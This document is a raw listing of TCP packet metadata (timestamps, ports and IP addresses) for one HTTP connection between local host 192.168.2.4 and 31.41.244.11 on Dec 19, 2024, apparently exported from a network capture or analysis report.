Dec 19, 2024 14:10:31.547877073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.548623085 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.548681974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.548728943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.548772097 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.549472094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.549557924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.549618006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.550345898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.550416946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.550427914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.550570011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.551130056 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.551183939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.551229954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.551440954 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.552036047 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.552088022 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.552167892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.552218914 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.552830935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.552895069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.552926064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.553116083 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.553684950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.553734064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.553859949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.553910971 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.554574966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.554630995 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.554686069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.554714918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.555342913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.555403948 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.555452108 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.555502892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.556165934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.556232929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.556293964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.556422949 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.557012081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.557074070 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.557118893 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.557343006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.557878017 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.557976961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.558037996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.558718920 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.558765888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.558783054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.558829069 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.559545040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.559608936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.559654951 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.559695959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.560554981 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.560614109 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.560693979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.560745955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.561367989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.561485052 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.561520100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.561573982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.562161922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.562223911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.562268972 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.562335968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.562895060 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.562971115 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.563014030 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.563064098 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.563782930 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.563844919 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.563900948 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.564009905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.564575911 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.564639091 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.564718008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.564775944 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.565407038 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.565534115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.565567017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.565612078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.566313982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.566370964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.566376925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.566426039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.567082882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.567141056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.567148924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.567204952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.567943096 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.568048000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.568049908 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.568099976 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.568871975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.568892956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.568932056 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.568959951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.569601059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.569670916 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.694423914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.694524050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.694597006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.694650888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.694820881 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.694957018 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.695019960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.695050955 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.695097923 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.695772886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.695833921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.695854902 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.695905924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.696523905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.696607113 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.696643114 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.696774006 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.696775913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.696826935 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.697452068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.697505951 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.697575092 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.697628975 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.698302984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.698354959 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.698465109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.698513031 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.699116945 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.699167967 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.723402023 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.723495007 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.723495007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.723572969 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.723773956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.723835945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.723862886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.723917007 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.724690914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.724745989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.724761963 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.724812984 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.725478888 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.725533962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.725714922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.725785017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.725826025 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.725881100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.726574898 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.726635933 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.726671934 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.726726055 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.727441072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.727497101 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.727533102 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.727585077 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.728235006 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.728291988 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.728301048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.728343010 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.729146957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.729202986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.729252100 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.729309082 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.729939938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.729993105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.730062008 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.730129957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.730781078 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.730838060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.730882883 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.730940104 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.731712103 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.731766939 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.731802940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.731864929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.732469082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.732527971 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.732799053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.732856989 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.733470917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.733506918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.733526945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.733561993 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.734164000 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.734216928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.734261036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.734313011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.735018015 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.735069990 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.735156059 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.735203028 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.735903978 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.735955000 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.736076117 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.736125946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.736785889 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.736802101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.736835957 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.736865044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.737514973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.737581968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.737629890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.737689018 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.738451004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.738543034 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.738682985 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.738740921 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.739187956 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.739274979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.739428997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.740025997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.740087986 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.740128040 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.740179062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.740988970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.741046906 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.741087914 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.741139889 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.741702080 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.741760015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.741815090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.741873026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.742588043 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.742654085 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.742692947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.742742062 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.743763924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.743829966 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.744079113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.744139910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.744539976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.744555950 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.744601011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.745136976 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.745187044 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.745214939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.745282888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.745927095 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.746020079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.746109009 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.746181011 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.746756077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.746815920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.746855974 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.746906996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.747709990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.747725964 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.747817039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.748457909 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.748522997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.748900890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.748960972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.749301910 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.749406099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.749447107 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.749547005 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.750216961 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.750278950 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.750325918 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.750386953 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.750946999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.751000881 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.751090050 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.751137972 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.751808882 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.751862049 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.751948118 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.751991987 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.752660990 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.752708912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.752718925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.752767086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.753453970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.753509998 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.753565073 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.753617048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.754283905 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.754338980 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.754344940 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.754389048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.755177975 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.755232096 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.755299091 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.755357027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.755984068 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.756036043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.756283045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.756342888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.756933928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.756987095 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.757003069 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.757051945 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.757644892 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.757694960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.757913113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.757963896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.758557081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.758606911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.758640051 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.758687973 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.759383917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.759440899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.759581089 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.759654999 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.760301113 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.760317087 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.760354996 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.760375977 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.763027906 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.763046026 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.763108015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.763154030 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.763191938 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.763240099 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.886162996 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.886178970 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.886264086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.886383057 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.886454105 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.886543036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.886601925 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.887352943 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.887413025 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.888078928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.888137102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.888444901 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.888484001 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.888500929 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.888550043 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.888978004 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.888993979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.889038086 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.889067888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.889761925 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.889777899 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.889836073 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.890273094 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:31.890347004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:31.890372992 CET	80	49800	31.41.244.11	192.168.2.4
